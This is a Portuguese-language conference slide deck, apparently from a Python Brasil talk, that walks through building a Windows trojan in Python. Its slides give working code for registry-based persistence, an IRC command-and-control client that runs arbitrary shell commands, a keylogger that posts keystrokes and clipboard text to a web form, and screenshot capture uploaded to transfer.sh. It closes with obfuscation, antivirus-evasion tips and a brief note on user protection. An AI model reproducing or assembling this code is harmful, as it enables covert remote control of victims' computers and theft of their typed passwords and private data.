Criando Um Malware Com Python
Criando Um Malware Com Python
@yanorestes
1
Entendendo o
funcionamento de
um malware
usando Python
2
O que é um
malware?
Vamos entender esse conceito
3
Malware
malicious software
software malicioso
4
Ransomware
Worm
Vírus
Não é só ...
vírus! Malware
5
Qual
escolher?
Destrutivo Útil
X
6
Cavalo
de Troia
Dando o máximo de
possibilidades para o
atacante através do
Command & Control (C&C)
7
Como?
8
Como? Python
9
Como? Python
Por quê?
10
Como? Python
Por quê?
Windows (8)
12
Um vírus ineficiente
destrói seu portador. Um
vírus esperto fica com
ele.
- James Lovelock
13
Garantindo a
execução 1.
contínua do
malware
14
Escondendo o malware
em outros programas
15
Modificando o
Registro do Windows
16
Registro
Chaves
Subchaves
17
HKEY_LOCAL_MACHINE
Run
18
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft
\Windows\CurrentVersion\Run
19
Como fazer isso no
Python?
20
Como fazer isso no
Python?
● winreg
21
Como fazer isso no
Python?
● winreg
● os
22
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()
23
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()
24
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()
25
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()
26
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()
27
1. from os.path import realpath
2. from winreg import *
3.
4. path_arquivo = realpath(__file__)
5. run = r'Software\Microsoft\Windows\CurrentVersion\Run'
6. try:
7. key = OpenKey(HKEY_LOCAL_MACHINE, run, 0, KEY_SET_VALUE)
8. except PermissionError:
9. # Não tá rodando como administrador :(
10. else:
11. SetValueEx(key, 'MALWARE', 0, REG_SZ, path_arquivo)
12. key.Close()
28
Como estabelecer
a comunicação
entre atacante e
vítima?
29
Conectando a 2.
vítima ao
atacante
30
Conexão direta entre
atacante e vítima
31
Usando serviços
externos (como Twitter)
32
Conectando através de
uma rede IRC
33
IRC
34
Como fazer isso no
Python?
35
Como fazer isso no
Python?
● socket
36
1. import socket
2. class ConexaoAtacante:
3. def __init__(self, endereco_irc):
4. self.socket = socket.socket()
5. self.socket.connect(endereco_irc)
6.
7. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667))
37
1. import socket
2. class ConexaoAtacante:
3. def __init__(self, endereco_irc):
4. self.socket = socket.socket()
5. self.socket.connect(endereco_irc)
6.
7. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667))
Só isso?
38
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg
39
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg
40
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg
41
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg
42
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg
43
1. import socket
2. import re
3. class ConexaoAtacante:
4. def __init__(self, endereco_irc, nick): 19. def registra_usuario(self, nick):
5. self.socket = socket.socket() 20. self.envia_comando('NICK ' + nick)
6. self.socket.connect(endereco_irc) 21. self.envia_comando('USER {0} {0} {0} :{0}'.format(nick))
7. self.registra_usuario(nick) 22.
8. self.nick = nick 23. def responde_ping(self, msg):
9. 24. match = re.match(PING :(.*)', msg)
10. def envia_comando(self, cmd): 25. if match:
11. cmd += '\r\n' 26. pong = match.group(1)
12. self.socket.send(cmd.encode('utf8')) 27. self.envia_comando('PONG :' + pong)
13.
14. def recebe_comando(self):
15. msg = self.socket.recv(4096)
16. msg=msg.decode('utf8', errors='ignore')
17. self.responde_ping(msg)
18. return msg
44
1. conexao = ConexaoAtacante(('irc.pythonbrasil.net', 6667), 'MalwareBot')
2. while True:
3. cmd = conexao.recebe_comando()
4. # tratar comando recebido
Main Loop
45
Como tomar o
controle do
computador da
vítima?
46
Executando
comandos no 3.
computador da
vítima
47
Usando os.system()
48
Usando o módulo subprocess
Muita flexibilidade
49
Usando o módulo subprocess
50
51
52
1. from subprocess import run, PIPE, STDOUT
2.
3. def roda_comando_no_shell(cmd):
4. processo_completo = run(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
5. resposta = processo_completo.stdout.decode('utf8', errors='ignore')
6. return resposta
53
1. from subprocess import run, PIPE, STDOUT
2.
3. def roda_comando_no_shell(cmd):
4. processo_completo = run(cmd, shell=True, stdout=PIPE, stderr=STDOUT)
5. resposta = processo_completo.stdout.decode('utf8', errors='ignore')
6. return resposta
55
1. class ConexaoAtacante:
2. # Código omitido
3. def parse_msg(self, msg):
4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg)
5. return match
6.
7. def recebe_comando(self):
8. msg = self.socket.recv(4096).decode('utf8', errors='ignore')
9. self.responde_ping(msg)
10. msg_match = self.parse_msg(msg)
11. if msg_match:
12. return msg_match.groups()
13. return None, None
14. # Código omitido
56
1. class ConexaoAtacante:
2. # Código omitido
3. def parse_msg(self, msg):
4. match = re.match(':(.*)!.*@.*(?:\..*)* PRIVMSG {} :(.*)'.format(self.nick), msg)
5. return match
6.
7. def recebe_comando(self):
8. msg = self.socket.recv(4096).decode('utf8', errors='ignore')
9. self.responde_ping(msg)
10. msg_match = self.parse_msg(msg)
11. if msg_match:
12. return msg_match.groups()
13. return None, None
14. # Código omitido
57
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))
58
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))
59
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))
60
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))
61
1. conexao = ConexaoAtacante(('irc.rizon.net', 6667), 'MalwareBot')
2. comandos = {'!shell':roda_comando_no_shell}
3. re_comandos = '|'.join(comandos.keys())
4. while True:
5. nick_recebido, cmd = conexao.recebe_comando()
6. cmd_match = re.match('({})(?: (.*))?'.format(re_comandos), cmd)
7. if cmd_match:
8. cmd_tipo, args = cmd_match.groups()
9. resposta = comandos[cmd_tipo](args)
10. else:
11. resposta = 'Comando não encontrado'
12. conexao.envia_comando('PRIVMSG {} :{}'.format(nick_recebido, resposta))
62
Capturando
dados do usuário
4.
em tempo real
63
Capturando
teclas
digitadas
(keylogger)
64
Como fazer isso no
Python?
65
Como fazer isso no
Python?
● keyboard
https://github.com/boppreh/keyboard
66
Como fazer isso no
Python?
● keyboard
● requests
http://docs.python-requests.org/en/master
/
67
Como fazer isso no
Python?
● keyboard
● requests
● pyperclip
https://github.com/asweigart/pyperclip
68
1. import keyboard
2.
3. teclas_apertadas = []
4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))
69
1. import keyboard
2.
3. teclas_apertadas = []
4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))
Hello, world!
70
1. import keyboard
2.
3. teclas_apertadas = []
4. keyboard.on_press(lambda k: teclas_apertadas.append(k.name))
Hello, world!
shiftHello,spaceworldshift!
71
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
72
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
73
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
74
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5.
6. def trata_tecla(k):
7. if 'shift' in k.modifiers:
8. teclas_apertadas.pop()
9. tecla = k.nome
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
75
1. import keyboard
2.
3. teclas_apertadas = []
4. teclas_especiais = {'space':' ', 'enter':'\n'}
5. e como o
6. def trata_tecla(k):
7. if 'shift' in k.modifiers: atacante
8.
9.
teclas_apertadas.pop()
tecla = k.nome
acessa isso?
10. if len(tecla) > 1:
11. tecla = teclas_especiais.get(tecla, '<< {} >>'.format(tecla))
12. teclas_apertadas.append(tecla)
13.
14. keyboard.on_press(trata_tecla)
76
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})
77
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})
78
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})
79
1. from requests import post
2.
3. url_form = #linkParaForm#
4. def trata_tecla(k):
5. # Código omitido
6. if len(teclas_apertadas) >= 100:
7. texto_digitado = ''.join(teclas_apertadas)
8. teclas_apertadas.clear()
9. post(url_form, {'entry.1269107664':texto_digitado})
80
Toque de ouro
81
Toque de ouro
1. from pyperclip import paste
2.
3. def trata_copypaste():
4. texto_copiado = paste()
5. teclas_apertadas.extend(list(texto_copiado))
6.
7. keyboard.add_hotkey('ctrl+c', trata_copypaste)
82
Capturando
a tela da
vítima
83
Como fazer isso no
Python?
84
Como fazer isso no
Python?
● pyscreenshot
https://github.com/ponty/pyscreensho
t
85
Como fazer isso no
Python?
● pyscreenshot
● os
86
Como fazer isso no
Python?
● pyscreenshot
● os
● requests
87
1. from pyscreenshot import grab_to_file
2.
3. def tira_screenshot(filename):
4. grab_to_file(filename)
88
1. from pyscreenshot import grab_to_file
2.
3. def tira_screenshot(filename):
4. grab_to_file(filename)
5.
6. comandos = {'!shell': roda_comando_no_shell,
'!screenshot': tira_screenshot}
89
1. from pyscreenshot import grab_to_file
2.
e como o
3. def tira_screenshot(filename):
atacante
4. grab_to_file(filename)
acessa isso?
5.
6. comandos = {'!shell': roda_comando_no_shell,
'!screenshot': tira_screenshot}
90
1. from pyscreenshot import grab_to_file
2. from requests import post
3.
4. def tira_screenshot(filename):
5. grab_to_file(filename)
6. with open(filename, 'rb') as f:
7. r = post('https://transfer.sh', files={filename: f})
8. resposta = r.text if r.status_code == 200 else 'Erro no upload'
9. return resposta
91
1. from pyscreenshot import grab_to_file
2. from requests import post
3.
4. def tira_screenshot(filename):
5. grab_to_file(filename)
6. with open(filename, 'rb') as f:
7. r = post('https://transfer.sh', files={filename: f})
8. resposta = r.text if r.status_code == 200 else 'Erro no upload'
9. return resposta
92
1. from os import remove
2. from pyscreenshot import grab_to_file
3. from requests import post
4.
5. def tira_screenshot(filename):
6. grab_to_file(filename)
7. with open(filename, 'rb') as f:
8. r = post('https://transfer.sh', files={filename: f})
9. resposta = r.text if r.status_code == 200 else 'Erro no upload'
10. return resposta
11. remove(filename)
93
Extra!
94
Ofuscação de
5.
código
95
Compilar para bytecode
96
Usando pyminifier
Divertido Recuperável
97
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py
98
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py
99
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py
100
Usando pyminifier
1. pyminifier -O -o nivel1.py malware.py
101
Escalonamento
6.
de privilégios
102
Escalonamento
6.
de privilégios
● Brute force
103
Escalonamento
6.
de privilégios
● Brute force
● Injeção de código
104
E como o
usuário pode
se proteger?
105
Precaução
106
Controle das
conexões
107
Antivírus?
108
O melhor antivírus é o
bom senso
- Anônimo entendedor de tudo
109
O melhor antivírus é o
bom senso
- Anônimo entendedor de tudo
Será?
110
Antivírus são
insuportáveis
111
Antivírus são
insuportáveis
Taxas de renovação inesperadas
112
Antivírus são
insuportáveis
Taxas de renovação inesperadas
Problemas com o sistema
113
Antivírus são
insuportáveis
Taxas de renovação inesperadas
Problemas com o sistema
aaaaaaaaaaaaaaaaaaaaaaaaa
114
2010 - Caso McAfee
115
2010 - Caso McAfee
2011 - Caso MSE
116
2010 - Caso McAfee
2011 - Caso MSE
2012 - Caso Sophos
117
Efetividade baixa
2006 - 40-50%
2007 - 20-30%
118
Efetividade baixa?
2006 - 40-50%
2007 - 20-30%
2013 - 91.1-99.9%
119
Humanos falham
120
A não ser que você...
● Não compartilhe arquivos e/ou links com ninguém
● Não permita que ninguém além de você use seu computador
● Não use a Internet para compras, entretenimento adulto ou jogos
online
● Nunca utilize uma rede WiFi pública
● Não compartilhe o seu WiFi privado com ninguém
● Nunca clique em nenhuma propaganda
● Utilize senhas extremamente seguras e nunca repete nenhuma
● Não utilize um smartphone
● Não faça download de nada pela Internet
121
A não ser que você...
● Não compartilhe arquivos e/ou links com ninguém
● Não permita que ninguém além de você use seu computador
● Não use a Internet para compras, entretenimento adulto ou jogos
online
● Nunca utilize uma rede WiFi pública
● Não compartilhe o seu WiFi privado com ninguém
● Nunca clique em nenhuma propaganda
● Utilize senhas extremamente seguras e nunca repete nenhuma
● Não utilize um smartphone
● Não faça download de nada pela Internet
● Não utilize um sistema operacional 122
Proteção contra
7.
antivírus
●
123
Proteção contra
7.
antivírus
● Assinatura => Código polimórfico
124
Proteção contra
7.
antivírus
● Assinatura => Código polimórfico
● Sandbox => Detecção (mouse)
https://github.com/boppreh/mouse/
125
Proteção contra
7.
antivírus
● Assinatura => Código polimórfico
● Sandbox => Detecção (mouse)
● Método heurístico => ?
126
Muito
obrigado!
Alguma pergunta?
Você pode falar comigo em
▪ @yanorestes
▪ [email protected]
https://speakerdeck.com/yanorestes/criando-um-malware-com-python 127
Agradecimentos
especiais
▪ Python Brasil
▪ Roosevelt Fujikawa ([email protected])
▪ Alura/Caelum
▪ Casa do Código (PythonBrasil&CasadoCodigo)
15%
128
Design da
apresentação
Essa apresentação usa as seguintes fontes:
▪ Títulos: Work sans bold
▪ Corpo: Work sans light
▪ Código: Arial com formatação do tohtml.com
Você pode baixar as fontes nessa página
https://github.com/weiweihuanghuang/Work-Sans/tree/master/fonts/desktop